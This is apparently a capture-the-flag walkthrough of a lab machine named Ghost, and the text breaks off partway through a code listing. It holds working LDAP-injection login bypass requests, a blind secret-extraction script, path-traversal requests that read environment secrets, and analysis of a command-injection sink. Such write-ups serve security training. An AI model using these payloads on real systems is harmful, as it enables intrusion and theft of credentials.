24 September 2026

Ghost

by 0xW1LD

Enumeration

Port-Scan

As usual we start off with an nmap port scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-23 03:02:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-23T02:56:19
| Not valid after:  2056-09-23T02:56:19
| MD5:   063b:059e:ab89:8ea3:8e6a:03c0:f1bb:1a87
|_SHA-1: 3424:3e64:1b2e:d5fb:75b9:92d9:9821:e698:d488:07f1
|_ssl-date: 2026-09-23T03:04:57+00:00; 0s from scanner time.
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-19T15:45:56
| Not valid after:  2124-06-19T15:55:55
| MD5:   5baa:c0a2:2d16:3ddf:29e3:d21c:154f:9aaa
|_SHA-1: d9d2:b4cd:cddf:b8a5:884b:a4b8:4648:ab24:4c78:54df
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-09-23T03:04:03+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Issuer: commonName=DC01.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-09-22T02:49:17
| Not valid after:  2027-03-24T02:49:17
| MD5:   9547:6de8:46f2:f2f4:2248:fec1:cb91:1913
|_SHA-1: 2812:9662:e7ca:210e:e126:2395:a192:0a19:1d71:cad4
|_ssl-date: 2026-09-23T03:04:56+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: A9C6DBDCDC3AE568F4E0DAD92149A0E3
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Issuer: commonName=core.ghost.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-18T15:14:02
| Not valid after:  2124-05-25T15:14:02
| MD5:   8e6a:b3f0:2883:ed74:dd49:2f75:7944:41e9
|_SHA-1: 507b:a1b1:afdb:d880:f67a:6d75:4b06:2b20:e969:96bc
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Ghost Core
|_Requested resource was /login
| tls-alpn: 
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
53216/tcp open  msrpc         Microsoft Windows RPC
53300/tcp open  msrpc         Microsoft Windows RPC
57498/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2026-09-23T03:03:51
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Port 80 - Microsoft HTTPAPI

Visiting this website all requests lead to a default MS HTTPAPI 404 error page.

Port 8008 - GhostCMS Blog

Visiting the website on port 8008 we’re greeted by a GhostCMS blog

We can find a user’s full name: Kathryn Holland. Furthermore looking into our web requests particularly when using the search feature we find a request to the api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
OPTIONS /ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/
Origin: http://ghost.htb:8008
Connection: keep-alive
Priority: u=4


However this seems to lead to another MS HTTPAPI 404 error.

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=us-ascii
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 24 Sep 2026 01:43:08 GMT
Connection: close
Content-Length: 315

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Found</h2>
<hr><p>HTTP Error 404. The requested resource is not found.</p>
</BODY></HTML>

Robots.txt

Looking around we can find several directories mentioned in the robots.txt file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 01:51:57 GMT
Content-Type: text/plain
Content-Length: 148
Connection: keep-alive
X-Powered-By: Express
ETag: "0b34e44853d14eca380b713528d1f9ef"
Cache-Control: public, max-age=3600
Vary: Accept-Encoding

User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/

Sitemap.xml

The pressence of a sitemap.xml file is rather interesting as it allows us to know the publicly accessible directories without needing a directory fuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>http://ghost.htb/sitemap-pages.xml</loc>
    <lastmod>2026-09-24T01:38:41.511Z</lastmod>
  </sitemap>
  <sitemap>
    <loc>http://ghost.htb/sitemap-posts.xml</loc>
    <lastmod>2024-01-09T05:52:59.000Z</lastmod>
  </sitemap>
  <sitemap>
    <loc>http://ghost.htb/sitemap-authors.xml</loc>
    <lastmod>2024-02-03T05:44:26.000Z</lastmod>
  </sitemap>
</sitemapindex>

I’ll take a look at each of these sitemaps, sitemap-pages.xml

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
  xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">
  <url>
    <loc>http://ghost.htb/</loc>
    <lastmod>2026-09-24T01:38:41.510Z</lastmod>
  </url>
</urlset>

sitemap-posts.xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
  xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">
  <url>
    <loc>
      http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/
    </loc>
    <lastmod>2024-01-09T05:52:59.000Z</lastmod>
  </url>
</urlset>

sitemap-authors.xml

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//ghost.htb/sitemap.xsl"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
  xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">
  <url>
    <loc>http://ghost.htb/author/kathryn/</loc>
    <lastmod>2024-02-03T05:44:26.000Z</lastmod>
  </url>
</urlset>

Subdomains

Scanning for subdomains we get 2 hits, and this process is rather slow as the machine seems to timeout a lot as you can tell by the number of errors we get.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS /home/w1ld/ALPHA/ghost> ffuf -u http://ghost.htb:8008 -H "Host: FUZZ.ghost.htb:8008" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -timeout 40

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.ghost.htb:8008
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 40
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 4902ms]
gitea                   [Status: 200, Size: 13657, Words: 1050, Lines: 272, Duration: 4215ms]

intranet.ghost.htb

Upon visiting the intranet subdomain we get redirected to an intranet login page.

Attempting to login the POST request seems to send a multi-part form binary data with interesting labels such as 1_ldap-username and 1_ldap-secret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Length: 952
Origin: http://intranet.ghost.htb:8008
Connection: keep-alive
Priority: u=0

------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_REF_1"


------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:0"

{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:1"

[{}]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2982904007
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-username"

test
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-secret"

test
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="0"

[{},"$K1"]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3--

We get a response that our username and secret is invalid.

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 02:05:23 GMT
Content-Type: text/x-component
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-action-revalidated: [[],0,0]
X-Powered-By: Next.js
Content-Length: 98

0:["$@1",["cprT2WY1sZ8jzOGNk7ojt",null]]
1:{"error":"Invalid combination of username and secret"}

Knowing that there’s ldap we can attempt a simple ldap injection by using * symbos which would make the resulting query look something like this:

(&(username=*)(secret=*))

Let’s try it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Length: 952
Origin: http://intranet.ghost.htb:8008
Connection: keep-alive
Priority: u=0

------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_REF_1"


------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:0"

{"id":"c471eb076ccac91d6f828b671795550fd5925940","bound":"$@1"}
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_1:1"

[{}]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_$ACTION_KEY"

k2982904007
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-username"

*
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="1_ldap-secret"

*
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3
Content-Disposition: form-data; name="0"

[{},"$K1"]
------geckoformboundary6dd753170df4205217f1f1c9e399d8a3--

We get the following response with a set-cookie header which implies a valid login.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 303 See Other
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 24 Sep 2026 02:08:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Set-Cookie: token=Bearer%20eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3OTI4MDc2OTQsImlhdCI6MTc5MDIxNTY5NCwidXNlciI6eyJ1c2VybmFtZSI6ImthdGhyeW4uaG9sbGFuZCJ9fQ.1YOdOR4gBAP-hRAQLtn2FuUlv9FT1v6BAcXcIgG-Cgg; Path=/
x-action-revalidated: [[],0,1]
x-action-redirect: /
X-Powered-By: Next.js
ETag: "bwc9mymkdm2"

{}

Decoding this token we get the following information

1
{"typ":"JWT","alg":"HS256"}{"exp":1792807694,"iat":1790215694,"user":{"username":"kathryn.holland"}}

Technically we can grab a list of users through this method by checking each letter with a * wildcard.

1
2
3
Content-Disposition: form-data; name="1_ldap-username"

a*

With the resulting JWT having our username.

1
{"typ":"JWT","alg":"HS256"}{"exp":1792807789,"iat":1790215789,"user":{"username":"arthur.boyd"}}

However we can instead find a list of usernames once we’re already logged in using the /users endpoint

News

In the news we find a couple pieces of information detailing a gitea instance along with the only user allowed to authenticate being the gitea_temp_principal as well as that the password being linked to the intranet

Git Migration We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can’t post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.

It is then mentioned that the intranet uses a secret token instead of a password

New Intranet Portal We are in the process of migrating to the new intranet portal (this one).
Until then, you have to use a secret token instead of your domain password.
We apologize for the inconvenience!

Judging by this information we should be able to login to gitea as gitea_temp_principal by checking its ldap secret attribute. Which we can query using our blind ldap injection

Forum

In the forums we also find mentions of a bitbucket DNS entry not being configured.

Hello all, I tried to connect to bitbucket.ghost.htb but it doesn’t work. Any idea why? I have a script that checks the pipeline results and it works in Gitea, I tried adapting it to Bitbucket and it works locally but I can’t test it on our servers

  • justin. bradley

Hello Justin, the migration is not ready yet, so the DNS entry is not configured. It shouldn’t take much longer, so you can keep running the script

  • kathryn.holland

Foothold Shell

Access to GITEA via LDAP Blind

Earlier we’ve found that gitea_temp_principal’s secret could be used to login to the gitea endpoint which we can access through the gitea.ghost.htb:8008 uri.

Now this version of Gitea: 1.21.3 is actually pretty old and is vulnerable to a few modern CVEs however, we’ll do this the intended way which is through a blind ldap injection, I’ll use Caido Javascript Workflows to create an automation for this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
 * @param {NodeInputHTTP} input
 * @param {SDK} sdk
 * @returns {MaybePromise<NodeResult | Data | undefined>}
 */
export async function run({ request, response, extra }, sdk) {
  const chars = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("");
  const body = request.getBody();
  
  let spec = request.toSpec();
  let value = "";
  let text = body.toText();

  while (true){
    for (const c of chars){
      let modtext = text.replace("SECRETHERE", `${value}`);
      spec.setBody(new Body(modtext));
      let req = await sdk.requests.send(spec);
      if (req.response.getCode() == 303){
        sdk.console.log(`[+] Password found: ${value}`);
        return;
        };
      modtext = text.replace("SECRETHERE", `${value}${c}*`);
      spec.setBody(new Body(modtext));
      req = await sdk.requests.send(spec);
  
	  if (req.response.getCode() === 303) {
        value = value.concat(c);
		sdk.console.log(value);
        break;
      };
    };
  }
}

This is pretty slow since we don’t know the length of the secret we can’t actively figure out the length of the secret as well as we’d have to check each value if it’s the correct one given that even the full secret with a * at the end will keep going infinitely.

Running this after a while I get the following log:

1
[+] Password found: [REDACTED]

Which when used allows us to login as gitea_temp_principal against the gitea.ghost.htb:8008 endpoint.

ghost-dev blog code analysis

Taking a look at the ghost-dev blog we find it’s a ghostCMS docker container, we also find additional information about additional features including linking it to the intranet using a DEV_INTRANET_KEY environment variable. We’re given a modified posts-public.js file which extracts additional information from posts. What’s noteworthy here is the following.

In the future we should move the information to the database so that we don’t accidentally lose data on container recreation

This indicates that there’s no database that holds the post data therefore it’s simply accessing data a different way. Finally we find an API Key for GhostCMS : a5af628828958c976a3b6cc81a

Studying the code it seems that what we want is to modify the extra parameter in the browse.query() function as it conducts a fileread.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
    browse: {
        headers: {
            cacheInvalidate: false
        },
        cache: postsPublicService.api?.cache,
        generateCacheKeyData(frame) {
            return {
                options: generateOptionsData(frame, [
                    'include',
                    'filter',
                    'fields',
                    'formats',
                    'limit',
                    'order',
                    'page',
                    'absolute_urls',
                    'collection'
                ]),
                auth: generateAuthData(frame),
                method: 'browse'
            };
        },
        options: [
            'include',
            'filter',
            'fields',
            'formats',
            'limit',
            'order',
            'page',
            'debug',
            'absolute_urls',
            'collection'
        ],
        validation: {
            options: {
                include: {
                    values: allowedIncludes
                },
                formats: {
                    values: models.Post.allowedFormats
                }
            }
        },
        permissions: true,
        async query(frame) {
            const options = {
                ...frame.options,
                mongoTransformer: rejectPrivateFieldsTransformer
            };
            const posts = await postsService.browsePosts(options);
            const extra = frame.original.query?.extra;
            if (extra) {
                const fs = require("fs");
                if (fs.existsSync(extra)) {
                    const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
                    posts.meta.extra = { [extra]: fileContent };
                }
            }
            return posts;
        }
    },

In the context of GhostCMS a frame is simply a request processing object, grabbing the original attribute of that frame gives us the original request and grabbing the query gives us the query parameters, which tells us that the needed query parameter is called extra.

ghost-dev blog Arbitrary File Read

Let’s see if we can’t do a bit of file traversal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/hosts HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/
Origin: http://ghost.htb:8008
Connection: keep-alive
Priority: u=4


Which gives a detailed json response but all we want is the extra object.

1
"extra":{"../../../../etc/hosts":"127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost ip6-loopback\nfe00::0\tip6-localnet\nff00::0\tip6-mcastprefix\nff02::1\tip6-allnodes\nff02::2\tip6-allrouters\n172.19.0.2\t26ae7990f3dd\n"}

We successfully have an arbitrary File Read, let’s check our Environment Variables as the DEV_INTRANET_KEY was mentioned earlier.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../proc/self/environ HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/
Origin: http://ghost.htb:8008
Connection: keep-alive
Priority: u=4


====================
"extra":{"../../../../proc/self/environ":"HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"}

Looking at the environ we find the DEV_INTRANET_KEY:!@yqr!X2kxmQ.@Xe

ghost-dev intranet code analysis

Firslty the repository mentions that the API is exposed at http://intranet.ghost.htb/api-dev. This narrows down our search as all we have to do is check which sourcecode is exported to the api-dev in the main class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#[macro_use]
extern crate rocket;

use rocket::http::Method;
use rocket::Request;
use rocket::serde::json::Json;
use rocket_cors::AllowedOrigins;

mod api;
mod database;

#[catch(401)]
fn not_authorized(_req: &Request) -> Json<()> {
    Json(())
}

#[launch]
fn rocket() -> _ {
    dotenv::dotenv().ok();

    let cors = rocket_cors::CorsOptions {
        allowed_origins: AllowedOrigins::all(),
        allowed_methods: vec![Method::Get, Method::Post].into_iter().map(From::from).collect(),
        allow_credentials: true,
        ..Default::default()
    }.to_cors().unwrap();

    rocket::build()
        .mount("/api", routes![
            api::login::login,
            api::news::get_news,
            api::users::get_users,
            api::me::get_me,
            api::forum::get_forum,
        ])
        .mount("/api-dev", routes![
            api::dev::scan::scan
        ])
        .attach(cors)
        .register("/", catchers![not_authorized])
}

The /api-dev route is mounted to the api/dev/scan/scan module, let’s take a look at it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
use std::process::Command;

use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;

use crate::api::dev::DevGuard;

#[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}

#[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}

We notice that the post parameter is a json ScanRequest with a url field is being used in a bash command sink without any sanitization, however there does exist this DevGuard object from the /dev.rs file. Let’s look at this source.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
